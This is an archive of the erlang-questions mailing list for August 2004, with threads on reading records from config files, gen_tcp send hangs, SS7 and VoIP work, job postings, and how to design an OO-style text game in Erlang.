From mickael.remond@REDACTED Sun Aug 1 15:25:30 2004 From: mickael.remond@REDACTED (=?iso-8859-1?Q?Micka=EBl_R=E9mond?=) Date: Sun, 01 Aug 2004 13:25:30 -0000 Subject: Did SERC at RMIT go away? In-Reply-To: <16649.20509.399164.673719@antilipe.corelatus.se> References: <004101c472e6$db0503c0$180d69d4@segeltorp> <16649.20509.399164.673719@antilipe.corelatus.se> Message-ID: On Thu, 29 Jul 2004 21:29:33 +0200, Matthias Lang wrote: > Fergus O'Brien, via Bjarne D?cker, wrote: > > > Maurice Castro via maurice@REDACTED is the most direct > contact if > > you could please pass it on. Maurice will also know the status of > SERC, it > > was still alive last time I checked, > > Maurice's biography (http://www.castro.aus.net/~maurice/bio/) strongly > implies that SERC is dead: > > "...From the closure of the Sofware Engineering Research Centre until > December 2003, I worked with the Department of Mathematics..." Hello, I have started mirroring the SERC Erlang related paper that I had on my hard drive in a brand-new SERC section on Erlang-projects: http://www.erlang-projects.org/Public/documentation/serc/ I hope this helps. Cheers, -- Micka?l R?mond http://www.erlang-projects.org/ From francesco@REDACTED Mon Aug 2 09:28:32 2004 From: francesco@REDACTED (Francesco Cesarini) Date: Mon, 02 Aug 2004 08:28:32 +0100 Subject: Erlang workshop early registration fees. Message-ID: <410DED20.9020400@erlang-consulting.com> For all of you planing on attending the ACM SIGPLAN Erlang workshop just outside Salt Lake City, you might be interested in knowing that you can now register. Registering before August 25th will get you get the discounted price of 60 USD for Students or ACM/SIGPLAN members and 70 USD for non members. After August 25th, the registration fees rise to 100USD respectively 110USD. You may register for the workshop only, with out the need to attend the main conference. You can register and pay on-line at http://regmaster.com/icfp2004.html For accommodation, the URL is http://www.cs.indiana.edu/icfp04/acc.html Rooms are 89USD per night for single and double occupancy. For those in need of Visa Application letters, contact me and I will let you have the details on obtaining one. They will be written on ACM letterhead as sponsor of the conference. If you have any questions, feel free to contact either me or any other committee member. Regards, Francesco PS The workshop program is filled with interesting presentations. You can view it at http://www.erlang.se/workshop/2004/ -- http://www.erlang-consulting.com From chris.williams@REDACTED Mon Aug 2 09:55:28 2004 From: chris.williams@REDACTED (Chris Williams) Date: Mon, 2 Aug 2004 09:55:28 +0200 (MEST) Subject: Anybody involved en VoIp gateways? In-Reply-To: <200407301826.i6UIQjl59010@hades.cslab.ericsson.net> Message-ID: Yep, We are developing VoIp gateways based on Megaco/H.248 for Media Gateways and Access gateways (Using G.711, G.723, G.729AB, G.729B ......). We are also developing MGC:s We are implementing CE=>IP calls and are basing the system on the AXD301. //Chris On Fri, 30 Jul 2004, Daniel Fernandez wrote: > Hi, > > > > Is there on the list involved in the deployment of VoIp gatways (G.711 > to G.723) or media servers? > > > > Thanks > > > > Regards, > > > > > > Daniel > > Daniel Fernandez - daniel@REDACTED > > Inswitch Solutions > > > > > > From leifj@REDACTED Mon Aug 2 21:56:31 2004 From: leifj@REDACTED (Leif Johansson) Date: Mon, 02 Aug 2004 21:56:31 +0200 Subject: Looking for help Message-ID: <410E9C6F.4080405@it.su.se> NB Please don't shoot me if this sort of thing is a no-no on this list. We are looking for someone knowledgeable in Erlang and preferably SIP to work on a open source project for a limited time. If you don't know SIP we would require that you know enough about general client/server applications to quickly grasp SIP. If you have for example worked on a SMTP or HTTP client/server before, this would probably qualify you. We need development cycles for work in the areas of SIP, OTP, Mnesia, and Erlang system administration and monitoring. You should live in Sweden, preferably somewhere in the Stockholm area but you can work from home at least part of the time. Please reply to me and not to the list. Leif Johansson Technical Lead IT and Communications Unit Stockholm university +46 8 164541 From casper2000a@REDACTED Tue Aug 3 13:42:40 2004 From: casper2000a@REDACTED (Casper) Date: Tue, 3 Aug 2004 17:42:40 +0600 Subject: Erlang-SS7 implementation In-Reply-To: Message-ID: <20040803112400.9B2534000AA@mail.omnibis.com> Hi, I saw a discussion on Erlang SS7 implementation possibility in this Mailing list some time back. It's been mentioned that Ericsson has started to do an implementation but got sidetrack and vanished. Is there anybody who has done any work in SS7 area in Erlang? Is there any development in any one of the SS7 layers? If I try to do Erlang-C wrapper to interface SS7 TCAP API, is EDTK a good choice? Anybody who can help to give me a kick-start? Thanks! Eranga From klacke@REDACTED Wed Aug 4 12:03:01 2004 From: klacke@REDACTED (=?ISO-8859-1?Q?Claes_Wikstr=F6m?=) Date: Wed, 4 Aug 2004 12:03:01 +0200 Subject: Erlang-SS7 implementation In-Reply-To: <20040803112400.9B2534000AA@mail.omnibis.com> References: <20040803112400.9B2534000AA@mail.omnibis.com> Message-ID: <7846A97E-E5FD-11D8-BB4B-000D93358AA6@hyber.org> 2004-08-03 kl. 13.42 skrev Casper: > Hi, > > I saw a discussion on Erlang SS7 implementation possibility in this > Mailing > list some time back. It's been mentioned that Ericsson has started to > do an > implementation but got sidetrack and vanished. > > Is there anybody who has done any work in SS7 area in Erlang? Is there > any > development in any one of the SS7 layers? > We started on that many years ago, not ever with the intent of having a fullblown ss7 implementation. We choose ss7 to play with, while implementing the bit syntax in erlang. We wanted to use the bit syntax on a really horrible protocol suite. SS7 is such a suite :-) Anyway, that ss7 implementattion (which was mtp3 and upwards) is gone and forgotten. /klacke From nicolas.niclausse@REDACTED Wed Aug 4 12:29:00 2004 From: nicolas.niclausse@REDACTED (Nicolas Niclausse) Date: Wed, 04 Aug 2004 12:29:00 +0200 Subject: RRDTool, In-Reply-To: <776177.1089736535429.SLOX.WebMail.wwwrun@marte.txm.com.mx> (Anders Nygren's message of "Tue, 13 Jul 2004 11:35:35 -0500 (CDT)") References: <776177.1089736535429.SLOX.WebMail.wwwrun@marte.txm.com.mx> Message-ID: <87zn5b8adv.fsf@schultze.ird.idealx.com> >>>>> "Anders" == Anders Nygren ?crivait: Anders> Hi I dont know if this can be useful for the original question, Anders> but I thougth that this could be a good time to mention that I Anders> have made an erlang interface to RRDTool. Anders> I have not put it up for download anywhere yet but if there is Anders> interest I can do that. yes, please do. -- Nicolas NICLAUSSE IDEALX S.A.S. T?l:01 44 42 00 00 http://IDEALX.com/ From casper2000a@REDACTED Wed Aug 4 14:50:06 2004 From: casper2000a@REDACTED (Casper) Date: Wed, 4 Aug 2004 18:50:06 +0600 Subject: Erlogic... again? In-Reply-To: <87zn5b8adv.fsf@schultze.ird.idealx.com> Message-ID: <20040804123123.E437A4001C6@mail.omnibis.com> Dear All, In most of places I've found a dead link for http://erlogic.sourceforge.net But now the site is not available. Is there any place that I can find it? Thanks! Eranga From enewhuis@REDACTED Wed Aug 4 19:41:27 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Wed, 04 Aug 2004 12:41:27 -0500 Subject: Chicago Area Erlang Job Message-ID: From: kmyers@REDACTED Distributed Systems Developer FutureSource is a leading provider of real-time futures, options, foreign exchange, and cash market data to customers worldwide. We offer a wide range of products including web technology, data feeds and presentation software incorporating quotes, charts, news, weather maps, and sophisticated technical analysis. Based in Lombard, Illinois, we have field sales offices in Chicago, New York, Houston, Los Angeles and Ft Lauderdale. We have an immediate opening for a Junior Level Distributed Systems Developer with Linux (or *nix) experience located in our Lombard USA office near Chicago. The ideal candidate has developed data distribution systems or suites of related networked services using an asynchronous messaging paradigm within a fault-tolerant network. Experience with the following will be given extra consideration: - Stock market data feeds - Functional style of programming - High-volume data storage and broadcasting - Varied Internet and WWW protocol experiences Join us and build your future and ours. We offer a competitive salary and benefits package. Please submit resume with salary history to: FutureSource Attn.: Human Resources 955 Parkview Blvd. Lombard, IL 60148 Fax: 630-792-2539 E-mail: kmyers@REDACTED No phone calls will be accepted! There is no relocation or sponsorship available for this position. EOE From mlogan@REDACTED Wed Aug 4 21:11:11 2004 From: mlogan@REDACTED (Martin J. Logan) Date: 04 Aug 2004 14:11:11 -0500 Subject: Chicago Area Erlang Job In-Reply-To: References: Message-ID: <1091646670.2164.5463.camel@dhcp-lom-194-186.futuresource.com> By the way knowing erlang does not hurt either;-) On Wed, 2004-08-04 at 12:41, Eric Newhuis wrote: > From: kmyers@REDACTED > > Distributed Systems Developer > > FutureSource is a leading provider of real-time futures, options, foreign > exchange, and cash market data to customers worldwide. We offer a wide range > of products including web technology, data feeds and presentation software > incorporating quotes, charts, news, weather maps, and sophisticated > technical analysis. Based in Lombard, Illinois, we have field sales offices > in Chicago, New York, Houston, Los Angeles and Ft Lauderdale. > > We have an immediate opening for a Junior Level Distributed Systems > Developer with Linux (or *nix) experience located in our Lombard USA office > near Chicago. > > The ideal candidate has developed data distribution systems or suites of > related networked services using an asynchronous messaging paradigm within a > fault-tolerant network. > > Experience with the following will be given extra consideration: > - Stock market data feeds > - Functional style of programming > - High-volume data storage and broadcasting > - Varied Internet and WWW protocol experiences > > Join us and build your future and ours. > > We offer a competitive salary and benefits package. Please submit resume > with salary history to: > > FutureSource > Attn.: Human Resources > 955 Parkview Blvd. > Lombard, IL 60148 > > Fax: 630-792-2539 > E-mail: kmyers@REDACTED > > No phone calls will be accepted! > There is no relocation or sponsorship available for this position. > EOE > From Bruce@REDACTED Wed Aug 4 22:14:14 2004 From: Bruce@REDACTED (Bruce Fitzsimons) Date: Thu, 05 Aug 2004 08:14:14 +1200 Subject: Erlogic... again? In-Reply-To: <20040804123123.E437A4001C6@mail.omnibis.com> References: <20040804123123.E437A4001C6@mail.omnibis.com> Message-ID: <41114396.4090001@Fitzsimons.org> Casper wrote: >Dear All, > >In most of places I've found a dead link for http://erlogic.sourceforge.net >But now the site is not available. Is there any place that I can find it? > > No its not available. That was my project/fault (Dialogic driver for Erlang). It never did work quite right, after two reimplementations using different APIs, so it never got released. (Sigh) It was only for the analog boards in any case. Others have built their own bindings that *do* work reliably, but they're not open source. What were you intending to do? /Bruce From ft@REDACTED Thu Aug 5 01:14:22 2004 From: ft@REDACTED (Fredrik Thulin) Date: Thu, 5 Aug 2004 01:14:22 +0200 Subject: records in text files or configuration Message-ID: <200408050114.22863.ft@it.su.se> Hi Is there a way to define a record in my application and then use that record in my 'erl -config' file or in a plain text file that I read using file:consult() or something similar? Something like this : -module(test). -record(db, {key, value}). read_file(File) -> Db = file:consult(File), io:format("Result :~n~p~n", [Db]). and then have a File containing [#db{key=one, value=foo}, #db{key=two, value=bar}. Thanks in advance /Fredrik From casper2000a@REDACTED Thu Aug 5 05:42:44 2004 From: casper2000a@REDACTED (Casper) Date: Thu, 5 Aug 2004 09:42:44 +0600 Subject: Erlogic... again? In-Reply-To: <41114396.4090001@Fitzsimons.org> Message-ID: <20040805032400.0D62A400238@mail.omnibis.com> Hi Bruce, Thanks for the reply. Actually I'm planning to build a VoiceMail kind of platform, which will be scalable and reliable by using the fundamental architecture or Erlang/OTP. If you don't mind, is it possible to send me a copy of your work. If I succeed in completing it, I will make it open source, with consent from you. Thanks! -----Original Message----- From: Bruce Fitzsimons [mailto:Bruce@REDACTED] Sent: Thursday, August 05, 2004 2:14 AM To: Casper; erlang-questions@REDACTED Subject: Re: Erlogic... again? Casper wrote: >Dear All, > >In most of places I've found a dead link for http://erlogic.sourceforge.net >But now the site is not available. Is there any place that I can find it? > > No its not available. That was my project/fault (Dialogic driver for Erlang). It never did work quite right, after two reimplementations using different APIs, so it never got released. (Sigh) It was only for the analog boards in any case. Others have built their own bindings that *do* work reliably, but they're not open source. What were you intending to do? /Bruce From richardc@REDACTED Thu Aug 5 11:37:54 2004 From: richardc@REDACTED (Richard Carlsson) Date: Thu, 5 Aug 2004 11:37:54 +0200 (MEST) Subject: records in text files or configuration In-Reply-To: <200408050114.22863.ft@it.su.se> References: <200408050114.22863.ft@it.su.se> Message-ID: On Thu, 5 Aug 2004, Fredrik Thulin wrote: > Is there a way to define a record in my application and then use that > record in my 'erl -config' file or in a plain text file that I read > using file:consult() or something similar? Something like this : > > -module(test). > -record(db, {key, value}). > > read_file(File) -> > Db = file:consult(File), > io:format("Result :~n~p~n", [Db]). > > and then have a File containing > > [#db{key=one, value=foo}, > #db{key=two, value=bar}]. The #name{f1=X1,...,fn=Xn} notation is just syntactic sugar for tuples on the form {name, X1, ..., Xn}, so even if you use record syntax to create the entries and write them to a file, that file will simply contain [{db, one, foo}, {db, two, bar}]. If you read this back with consult(File), you can of course again use the record syntax for working with the read entries - as long as you haven't modified the record definition since you wrote them to the file. It could be a good idea to specify an explicit, stable, external data format, that is separated from the internal representation, if this is to be used for something serious. /Richard Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From ft@REDACTED Thu Aug 5 22:38:27 2004 From: ft@REDACTED (Fredrik Thulin) Date: Thu, 5 Aug 2004 22:38:27 +0200 Subject: records in text files or configuration In-Reply-To: References: <200408050114.22863.ft@it.su.se> Message-ID: <200408052238.27832.ft@it.su.se> On Thursday 05 August 2004 11.37, Richard Carlsson wrote: > On Thu, 5 Aug 2004, Fredrik Thulin wrote: > > Is there a way to define a record in my application and then use > > that record in my 'erl -config' file or in a plain text file that I > > read using file:consult() or something similar? ... > The #name{f1=X1,...,fn=Xn} notation is just syntactic sugar for > tuples on the form {name, X1, ..., Xn}, so even if you use record > syntax to create the entries and write them to a file, that file > will simply contain > [{db, one, foo}, > {db, two, bar}]. > > If you read this back with consult(File), you can of course > again use the record syntax for working with the read entries > - as long as you haven't modified the record definition since > you wrote them to the file. It could be a good idea to specify > an explicit, stable, external data format, that is separated > from the internal representation, if this is to be used for > something serious. Thank you for your answer. The flexibility to be able to modify the record (like adding elements to it) in the future, as well as not having to enter data for all elements was what I was after. I guess I'll have to invent myself some kind of plain text format that is reasonably easy to modify and still easily parseable. Too bad, I'll have to deal with quoting and stuff which would otherwise have been handled for me. /Fredrik From richardc@REDACTED Thu Aug 5 23:23:35 2004 From: richardc@REDACTED (Richard Carlsson) Date: Thu, 05 Aug 2004 23:23:35 +0200 Subject: records in text files or configuration In-Reply-To: <200408052238.27832.ft@it.su.se> References: <200408050114.22863.ft@it.su.se> <200408052238.27832.ft@it.su.se> Message-ID: <4112A557.7090905@csd.uu.se> Fredrik Thulin wrote: > I guess I'll have to invent myself some kind of plain text format that > is reasonably easy to modify and still easily parseable. Too bad, I'll > have to deal with quoting and stuff which would otherwise have been > handled for me. You won't have to do any text parsing if you use Erlang terms as your representation, e.g.: [{contact, [{name, "Fredrik Thulin"}, {email, "ft@REDACTED"}] }, ...]. You can still read this using consult(), and it's easy to write a function that translates between the internal representation and such an explicit keyword/value representation. Or for interoperability with other things as well, use XMerL. It allows you to (among many other things) take a list as the above and have it automatically output as "Fredrik Thulin" "ft@REDACTED" ... and reversely you can easily read the XML file and get it in the same simple list representation again. http://sowap.sourceforge.net/ /Richard From ft@REDACTED Thu Aug 5 23:40:38 2004 From: ft@REDACTED (Fredrik Thulin) Date: Thu, 5 Aug 2004 23:40:38 +0200 Subject: records in text files or configuration In-Reply-To: <4112A557.7090905@csd.uu.se> References: <200408050114.22863.ft@it.su.se> <200408052238.27832.ft@it.su.se> <4112A557.7090905@csd.uu.se> Message-ID: <200408052340.38668.ft@it.su.se> On Thursday 05 August 2004 23.23, Richard Carlsson wrote: > Fredrik Thulin wrote: > > I guess I'll have to invent myself some kind of plain text format > > that is reasonably easy to modify and still easily parseable. Too > > bad, I'll have to deal with quoting and stuff which would otherwise > > have been handled for me. > > You won't have to do any text parsing if you use Erlang terms as your > representation, e.g.: > > [{contact, [{name, "Fredrik Thulin"}, > {email, "ft@REDACTED"}] > }, > ...]. > > You can still read this using consult(), and it's easy to write a > function that translates between the internal representation and > such an explicit keyword/value representation. Good idea, I didn't think of that (as obvious at it is ;) ). Thanks! > Or for interoperability with other things as well, use XMerL. > It allows you to (among many other things) take a list as the above > and have it automatically output as > > "Fredrik Thulin" > "ft@REDACTED" > > ... > > and reversely you can easily read the XML file and get it in > the same simple list representation again. > > http://sowap.sourceforge.net/ Yes, I had thought about using XML for this. I'm not sure if we would want to introduce a dependency for something that has to be installed separately in our project (Yxa SIP-server/stack) at this point though. I'm not even sure how it is done with Erlang... I suppose you make it an option in your 'configure' script and make that option add a -pa or -pz to your erl command line? /Fredrik From richardc@REDACTED Fri Aug 6 12:24:56 2004 From: richardc@REDACTED (Richard Carlsson) Date: Fri, 06 Aug 2004 12:24:56 +0200 Subject: records in text files or configuration In-Reply-To: <200408052340.38668.ft@it.su.se> References: <200408050114.22863.ft@it.su.se> <200408052238.27832.ft@it.su.se> <4112A557.7090905@csd.uu.se> <200408052340.38668.ft@it.su.se> Message-ID: <41135C78.2040502@csd.uu.se> Fredrik Thulin wrote: > Yes, I had thought about using XML for this. I'm not sure if we would > want to introduce a dependency for something that has to be installed > separately in our project (Yxa SIP-server/stack) at this point though. > > I'm not even sure how it is done with Erlang... I suppose you make it an > option in your 'configure' script and make that option add a -pa or -pz > to your erl command line? Yes, either that, or just place the extra application under the lib directory where all the other applications are, and it will be found automatically when the system starts. E.g. lib/xmerl. /Richard From luke@REDACTED Fri Aug 6 12:37:05 2004 From: luke@REDACTED (Luke Gorrie) Date: Fri, 06 Aug 2004 12:37:05 +0200 Subject: records in text files or configuration In-Reply-To: <200408052340.38668.ft@it.su.se> (Fredrik Thulin's message of "Thu, 5 Aug 2004 23:40:38 +0200") References: <200408050114.22863.ft@it.su.se> <200408052238.27832.ft@it.su.se> <4112A557.7090905@csd.uu.se> <200408052340.38668.ft@it.su.se> Message-ID: Fredrik Thulin writes: > Yes, I had thought about using XML for this. I'm not sure if we would > want to introduce a dependency for something that has to be installed > separately in our project (Yxa SIP-server/stack) at this point though. You could put your project into the Jungerl (jungerl.sourceforge.net). The whole idea of that is that we collect together a large body of Erlang code (including xmlerl) into a single source tree so that it's always available to other Jungerl-based code. Alternatively you could distribute your app separately but have the Jungerl as your one big dependency. e.g. the Jungerl includes a shell script called 'jerl' which just starts up Erlang with the whole slow of libraries added to the code path. .. not that I want to be seen as promoting XML over Erlang-syntax config files :-) Cheers, Luke From ulf.wiger@REDACTED Sun Aug 8 13:23:23 2004 From: ulf.wiger@REDACTED (Ulf Wiger) Date: Sun, 08 Aug 2004 13:23:23 +0200 Subject: records in text files or configuration In-Reply-To: <200408052238.27832.ft@it.su.se> References: <200408050114.22863.ft@it.su.se> <200408052238.27832.ft@it.su.se> Message-ID: On Thu, 5 Aug 2004 22:38:27 +0200, Fredrik Thulin wrote: > I guess I'll have to invent myself some kind of plain text format that > is reasonably easy to modify and still easily parseable. Too bad, I'll > have to deal with quoting and stuff which would otherwise have been > handled for me. As an alternative to Richard's suggestions, 'rdbms' has an import function that uses a text format similar to mail-merge -- basically, tab-delimited text with a header line denoting the field name for each column, like so: person.name\t person.age\t person.sex\n kalle\t 25\t male\n lisa\t 22\t female\n The data ends up in corresponding mnesia tables, after data conversion if needed. You can specify data types using the rdbms data dictionary. The available definitions include basic type, bounds default value and referential constraints. By specifying more than one field per column (separated by comma), you can also accomplish a simple join in your import: employee.name\t employee.company, company.id\t company.name\n kalle\t eab\t Ericsson AB\n lisa\t eab\n In the above example, you can leave the last column blank once initialized. A few other nifties are supported, such as support for erlang-style comments in the data file and multiple blocks of data (with different headers) in the same file. /Uffe -- Ulf Wiger From enewhuis@REDACTED Fri Aug 6 16:20:23 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Fri, 06 Aug 2004 09:20:23 -0500 Subject: Zero C Message-ID: http://zeroc.com/ Comments? From mike@REDACTED Mon Aug 9 09:55:03 2004 From: mike@REDACTED (Michael Williams) Date: 9 Aug 2004 07:55:03 GMT Subject: Zero C References: Message-ID: In article , enewhuis@REDACTED (Eric Newhuis) writes: |> http://zeroc.com/ |> |> Comments? |> Site is not reachable? /m From mike@REDACTED Mon Aug 9 15:32:15 2004 From: mike@REDACTED (Michael Williams) Date: 9 Aug 2004 13:32:15 GMT Subject: Zero C References: , Message-ID: In article , mike@REDACTED (Michael Williams) writes: |> In article , |> enewhuis@REDACTED (Eric Newhuis) writes: |> |> http://zeroc.com/ |> |> |> |> Comments? |> |> |> |> Site is not reachable? |> |> /m I had a quick look at the Ice. If you want to program Erlang type applications in Java or C++, this might be a good framework to use. I.e. distributed concurrent systems. But it would help you to avoid a lot of the inherent problems in C++ such as pointer errors, memory leaks etc. As well as that as Ice threads are in no way memory protected from each other, the Erlang/OTP style to make distributed fault tolerant systems is not applicable. But if you are sourcing a lot of ready made C++ or Java software, Ice could well be the way to go. Ice is probably what Corba would have been if it hadn't been designed by a comittee.... /mike From johan@REDACTED Mon Aug 9 16:24:11 2004 From: johan@REDACTED (Johan Warlander) Date: Mon, 9 Aug 2004 16:24:11 +0200 Subject: Erlang hints for an OO junkie? Message-ID: <20040809135640.M42433@snowflake.nu> Hi, I've been experimenting with Erlang for a bit and I've found it to be a very interesting language, with nice features. However, being relatively new to functional programming in general and Erlang in particular, I have a question which might have a semi-obvious answer that I'm just not aware of: If I were to implement a text-based online game where I would like to model a game world of physical objects ranging from living things like animals, monsters and humans through inanimate things like swords, backpacks and apples.. what would be the most Erlang-esque way to go about it? >From the perspective of an OO programmer, in another language my choice would've been a hierarchy of classes somewhat like the following: ANIMAL <- LIVING <- OBJECT BACKPACK <- CONTAINER <- OBJECT SWORD <- WEAPON <- (OBJECT, DAMAGE_SOURCE) ARMOR <- WEAPON <- (OBJECT, DAMAGE_SINK) The examples I've seen so far of Erlang programs, and the relatively short time I've had to study the language, hasn't given me any clear indications as yet of how to go from this model to something more appropriate for the way Erlang works. Obviously, this is a good indication I shouldn't be starting any big projects just yet.. ;) Still, it would be nice if anyone has some good pointers to get me started, and help me "shift" out of the OO paradigm for the task at hand. Regards, Johan W?rlander From jay@REDACTED Mon Aug 9 17:32:27 2004 From: jay@REDACTED (Jay Nelson) Date: Mon, 09 Aug 2004 08:32:27 -0700 Subject: Erlang hints for an OO junkie Message-ID: <4117990B.2090809@duomark.com> I just finished writing an article for the Snowbird ICFP workshop on erlang entitled "Structured Programming Using Processes". Look for it when the conference comes out or check my website in November. The basic premise in the paper is to think of data flows and processes rather than OO. In OO an object is stored and represented in a single place with all the code that can access the data. In erlang, messages are sent from process to process so data can be stored in whatever format is best for each process. You may neeed to keep things in a database, so you can have one table per object type, or coerce all to fit in a single table with some extra columns. A process could read the currently relevant ones in as a list and dole them out to other processes for manipulation. User commands can be received, transformed and routed to the process holding the object in question. For your gaming problem you need to decide what must be done concurrently and what must be done sequentially. Everything else can go either way. If you have a process for each person or monster (animate entities), internal to the process can be their possessions which they can give to another process in exchange for something else. The same can happen with traits. If you are stuck on objects, make a process for every object. You will run into some problems, but you may feel comfortable. jay From jay@REDACTED Mon Aug 9 17:52:44 2004 From: jay@REDACTED (Jay Nelson) Date: Mon, 09 Aug 2004 08:52:44 -0700 Subject: Capturing all the information in the world Message-ID: <41179DCC.2010805@duomark.com> Interesting article on CNET today about searching digital information. http://news.com.com/Next-generation+search+tools+to+refine+results/2100-1025_3-5299239.html?tag=nefd.lede The comment I found fitting with my recent thinking was: "File systems will likely begin to disappear as search gains popularity. One of the phenomena that Microsoft researchers are finding in MyLifeBits is that files are largely ad hoc categories that become outdated, said Jim Gemmell at Microsoft Research." Anybody else thinking about storing data without a file system or structured database and what that might mean? My ideas have to do with streaming information and some of the concepts in Jeremy Raskin's "The Human Interface". I want to create a system with no applications and no file system, but which has the flexibility for the user to mold into a tool that serves them well in creating text, such as writing poetry, books, email or even formatted text like bookmarks, address lists, tracking expenses, managing music collections, etc. erlang seems to me useful for such a project because it is easy to string together processes for transforming data to create the dynamic structure desired at any given moment. jay From erlang@REDACTED Mon Aug 9 18:06:38 2004 From: erlang@REDACTED (Bernardo Paroli) Date: Mon, 9 Aug 2004 13:06:38 -0300 Subject: gen_tcp bug? Message-ID: <216601c47e2a$dacef920$5f00a8c0@BP> Hi, I have a TCP/IP Server Socket running in Windows 2000. Its main function is to send messages to all the connected clients, aprox. 300 msgs/second. I have noticed that when a conecction is established and if I disconnect the network cable and connect this 30 seconds later the gen_tcp:send function locks infinitely but it doesn't fail(this lock happens at prim_inet:send/2). Why does this happen ? Why doesn't the gen_tpc:send/2 function fail? Thanks, Bernardo Prepaid Expertise - Programmable Switches Powered by Ericsson Licensed Technology Bernardo Paroli - Engineer - IN Switch Solutions Inc. Headquarters - Miami-U.S.A. Tel: 1305-3578076 Fax: 1305-7686260 Development Center - Montevideo - Uruguay Tel/Fax: 5982-7104457 e-mail: bernardo@REDACTED -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.gif Type: image/gif Size: 1429 bytes Desc: not available URL: From luke@REDACTED Mon Aug 9 18:17:22 2004 From: luke@REDACTED (Luke Gorrie) Date: Mon, 09 Aug 2004 18:17:22 +0200 Subject: gen_tcp bug? In-Reply-To: <216601c47e2a$dacef920$5f00a8c0@BP> (Bernardo Paroli's message of "Mon, 9 Aug 2004 13:06:38 -0300") References: <216601c47e2a$dacef920$5f00a8c0@BP> Message-ID: "Bernardo Paroli" writes: > I have noticed that when a conecction is established and if I > disconnect the network cable and connect this 30 seconds later the > gen_tcp:send function locks infinitely but it doesn't fail(this lock > happens at prim_inet:send/2). > > Why does this happen ? Why doesn't the gen_tpc:send/2 function fail? How long do you wait before giving up? Generally if you have an outage for N seconds then it will take TCP up to N*2 seconds to retransmit and recover. So you should wait at least a minute after putting the plug back in. -Luke From luke@REDACTED Mon Aug 9 18:20:36 2004 From: luke@REDACTED (Luke Gorrie) Date: Mon, 09 Aug 2004 18:20:36 +0200 Subject: gen_tcp bug? In-Reply-To: (Luke Gorrie's message of "Mon, 09 Aug 2004 18:17:22 +0200") References: <216601c47e2a$dacef920$5f00a8c0@BP> Message-ID: Luke Gorrie writes: > Generally if you have an outage for N seconds then it will take TCP up > to N*2 seconds to retransmit and recover. (Actually that's not correct. But it takes a while anyway :-) -Luke From Marc.Vanwoerkom@REDACTED Mon Aug 9 18:29:35 2004 From: Marc.Vanwoerkom@REDACTED (Marc van Woerkom) Date: Mon, 09 Aug 2004 18:29:35 +0200 Subject: Erlang hints for an OO junkie? In-Reply-To: <20040809135640.M42433@snowflake.nu> Message-ID: >>From the perspective of an OO programmer, in another >>language my choice >would've been a hierarchy of classes somewhat like the >following: > >ANIMAL <- LIVING <- OBJECT >BACKPACK <- CONTAINER <- OBJECT >SWORD <- WEAPON <- (OBJECT, DAMAGE_SOURCE) >ARMOR <- WEAPON <- (OBJECT, DAMAGE_SINK) What do you need the hierarchy for? In OO you most likely need it for polymorphism, like a virtual function container.open() that works for backpacks and treasure chests. In Erlang your object might be some process and you send it some "open" message. Michael Remond features some multiplayer game in his book/on the net, perhaps he some suggestion. Regards, Marc From erlang@REDACTED Mon Aug 9 20:01:41 2004 From: erlang@REDACTED (Bernardo Paroli) Date: Mon, 9 Aug 2004 15:01:41 -0300 Subject: gen_tcp bug? References: <216601c47e2a$dacef920$5f00a8c0@BP> Message-ID: <385901c47e3a$edf11820$5f00a8c0@BP> mmmm, I waiting for gen_tcp:send finalization. Do I need to handle time outs in my application? If I do handle time outs, the next code is correct? sendToClient(Socket, Message) -> Self = self(), Pid = proc_lib:spawn(fun() -> send(Socket, Message, Self) end), %% spawn process to send message receive %% Wait for send response {Pid, sent} -> ok after ?TIMEOUT -> erlang:exit(Pid, kill), %% Kill process if send response don't arrive timeout end. send(Socket, Message, From) -> gen_tcp:send(Socket, Message), From ! {self(), sent}. ----- Original Message ----- From: "Luke Gorrie" To: "Bernardo Paroli" Cc: Sent: Monday, August 09, 2004 1:17 PM Subject: Re: gen_tcp bug? > "Bernardo Paroli" writes: > > > I have noticed that when a conecction is established and if I > > disconnect the network cable and connect this 30 seconds later the > > gen_tcp:send function locks infinitely but it doesn't fail(this lock > > happens at prim_inet:send/2). > > > > Why does this happen ? Why doesn't the gen_tpc:send/2 function fail? > > How long do you wait before giving up? > > Generally if you have an outage for N seconds then it will take TCP up > to N*2 seconds to retransmit and recover. So you should wait at least > a minute after putting the plug back in. > > -Luke > > From johan@REDACTED Mon Aug 9 21:24:50 2004 From: johan@REDACTED (Johan Warlander) Date: Mon, 9 Aug 2004 21:24:50 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <4117990B.2090809@duomark.com> References: <4117990B.2090809@duomark.com> Message-ID: <20040809171635.M65995@snowflake.nu> On Mon, 09 Aug 2004 08:32:27 -0700, Jay Nelson wrote > I just finished writing an article for the Snowbird ICFP workshop on > erlang entitled "Structured Programming Using Processes". Look for > it when the conference comes out or check my website in November. Will certainly do :) > The basic premise in the paper is to think of data flows and > processes rather than OO. In OO an object is stored and represented > in a single place with all the code that can access the data. In > erlang, messages are sent from process to process so data can be > stored in whatever format is best for each process. You may neeed > to keep things in a database, so you can have one table per object > type, or coerce all to fit in a single table with some extra > columns. A process could read the currently relevant ones in as a > list and dole them out to other processes for manipulation. User > commands can be received, transformed and routed to the process > holding the object in question. I haven't even started looking at database handling etc.. I take it Mnesia would be the way to go? However, I definitely think I'd go for a table per object type. Here's where I run into the OO ghost again, though.. Given two different objects, a chair and a backpack, they have some traits in common (in the OO world I'd have them inherit from CONTAINER).. but > > For your gaming problem you need to decide what must be done > concurrently and what must be done sequentially. Everything else > can go either way. If you have a process for each person or monster > (animate entities), internal to the process can be their possessions > which they can give to another process in exchange for something > else. The same can happen with traits. I think I have a vague idea of what you're getting at :) I'm also realising that it's probably not entirely useful to try to think of things in terms of what I would've done in an OO language.. Either way, would you be able to give me some pointers on where to start implementing a simple scenario like the one below, in a process-oriented way? 1) The world consists of simple rooms with a textual description, linked together in the four cardinal directions. 2) Players can walk around between these rooms, and will see the room descriptions as well as other players in the same room. 3) Players can communicate with others in the same room by talking. 4) Any entity, not just player characters, should be able to receive communication messages in the form of talking or acting.. This becomes important for allowing non-player characters to act on what players do later on, and also enchanted items might be activated by certain actions or words etc.* * Not to mention going further with containers, when you want to model in-game vehicles etc - someone sitting in a wagon pulled by a horse, in a particular room, would most 